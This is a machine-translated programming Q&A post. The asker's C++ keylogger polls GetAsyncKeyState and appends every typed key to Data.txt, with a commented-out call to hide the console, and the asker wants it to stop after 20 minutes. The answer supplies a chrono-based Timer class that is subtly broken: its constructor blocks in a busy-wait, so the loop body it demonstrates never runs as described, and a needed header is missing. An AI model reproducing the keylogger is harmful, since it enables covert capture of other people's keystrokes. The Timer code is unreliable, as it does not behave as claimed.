我正在尝试制作一个基本的键盘记录程序,我希望能够在20分钟后关闭该程序。在线查看时,我发现了这个clock_T函数,但是我不知道如何将其转换为秒(从几秒钟内我就可以分钟)。
我尝试使用基于“睡眠”功能的旧计时器。 但是考虑到我必须能够随时键入并将其保存在日志中,这给我带来了很多问题。 我无法理解高水平的编码,因此在浏览互联网上的视频或说明时遇到了很多困难。 我希望看到显示的秒数会随着时间的推移而增加,所以以后我可以在达到所需的秒数后关闭代码,但是在特定的秒数内我遇到了相同数量的垃圾邮件。 例如:11111111111111111111111111111111111(一秒后增加)22222222222222222222222222222222(再次增加)333333333333333333333333。等。
#include <iostream>
#include <string>
#include <Windows.h>
#include <fstream>
#include <time.h>
using namespace std;
int main() {
// FreeConsole();
clock_t start = 0;
clock_t end = 0;
clock_t delta = 0;
start = clock();
fstream info;
string filename = "Data.txt";
while (true) {
info.open(filename.c_str(), ios::app);
for (char i = 31; i < 122; i++) {
if (GetAsyncKeyState(i) == -32767) {
info << i;
cout << i;
}
}
info.close();
end = clock();
delta = end - start;
delta = delta; // 1000;
std::cout << delta/CLOCKS_PER_SEC << endl;
}
return 0;
}
答案 0 :(得分:0)
我有一个使用chrono
库的类模板。这是其用法的一个简单示例。
main.cpp
#include <iostream>
#include "Timer.h"
int main() {
while( Timer<minutes>(1).isRunning() ) {
// do something for 1 minute
}
while ( Timer<seconds>(30).isRunning() ) {
// do something for 30 seconds
}
return 0;
}
Timer.h
#pragma once
#include <chrono>
using namespace std::chrono;
template<class Resolution = seconds>
class Timer {
public:
using Clock = std::conditional_t<high_resolution_clock::is_steady,
high_resolution_clock, steady_clock>;
private:
Clock::time_point startTime_;
Clock::time_point timeToRunFor_;
bool isRunning_ = false;
public:
explicit Timer(int count) :
startTime_{ Clock::now() },
timeToRunFor_{ Clock::now() + Resolution(count) },
isRunning_{ true }
{
run();
}
~Timer() {
const auto stopTime = Clock::now();
std::ostringstream stream;
stream << "Time Elapsed: "
<< duration_cast<Resolution>(stopTime - startTime_).count()
<< std::endl;
std::cout << stream.str() << std::endl;
}
bool isRunning() {
return isRunning_;
}
private:
void run() {
while (steady_clock::now() < timeToRunFor_) {}
isRunning_ = false;
}
};
输出
Time Elapsed: 1
Time Elapsed: 30
时间先等待大约1分钟,然后打印1,然后等待大约30秒,然后打印30。这是一个很好的轻量级类,易于使用。
我目前正在向此类添加更多内容,以支持使用默认构造函数手动启动和停止使用。由于该类目前处于领先地位,因此您可以创建该类的实例或对象作为变量,并为其明确指定时间,该时间将运行那么长时间,但您无法在需要时手动启动和停止该计时器。完成此类后,默认构造函数将不使用内部成员timeToRunFor_
和run()
,因为它们将与显式构造函数版本一起使用。
完成后,您可以通过while循环设置所需的内容运行多长时间,然后通过Explicit构造函数版本在所需时间到期后终止,也可以将此类的本地实例创建为对象,调用start函数,对未知的时间量执行一些其他操作,然后在之后调用stop函数并执行所经过时间的查询。我需要更多时间来完成本课程,所以我现在将其发布,一旦完成对课程的更新,我将在这里将其更新为较新的版本!